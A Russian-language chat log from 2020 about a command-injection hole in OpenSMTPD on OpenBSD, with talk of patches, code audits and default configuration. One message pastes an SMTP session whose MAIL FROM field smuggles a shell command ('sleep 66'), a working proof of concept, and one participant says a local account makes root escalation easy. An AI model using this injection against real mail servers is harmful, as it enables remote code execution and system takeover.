DC
Кому кинуть эксплоит для OpenBSD?
Size: a a a
2020 January 29
DC
В OpenSMTP дырочка
DC
Не качественная валидация входных данных
DC
$ nc 127.0.0.1 25 220 obsd66.example.org ESMTP OpenSMTPD HELO professor.falken 250 obsd66.example.org Hello professor.falken [127.0.0.1], pleased to meet you MAIL FROM:<;sleep 66;> 250 2.0.0 Ok RCPT TO:<root> 250 2.1.5 Destination address valid: Recipient ok DATA 354 Enter mail, end with "." on a line by itself How about a nice game of chess? . 250 2.0.0 e6330998 Message accepted for delivery QUIT 221 2.0.0 Bye
СГ
Уже патч выпустили... А вообще хорошо, что снова делают аудит кода, видимо, насобирали донатов на качественный аудит от Qualys
DC
Дело не в патче
DC
Дело в том что когда кто-то начинает делать ревью, у них сразу начинает полуяаться
ВЭ
Wellcum
DC
Дело ли в маленьком коммюнити?
DC
DC
В смысле? Плохая валидация тебя не устраивает
DC
По умолчанию именно так
m
не-а, по-умолчанию он слушает на локалхосте только
https://cvsweb.openbsd.org/cgi-bin/cvsweb/src/etc/mail/smtpd.conf?rev=1.14&content-type=text/x-cvsweb-markup
https://cvsweb.openbsd.org/cgi-bin/cvsweb/src/etc/mail/smtpd.conf?rev=1.14&content-type=text/x-cvsweb-markup
DC
Если есть локальная учетка, то легко прокачать до root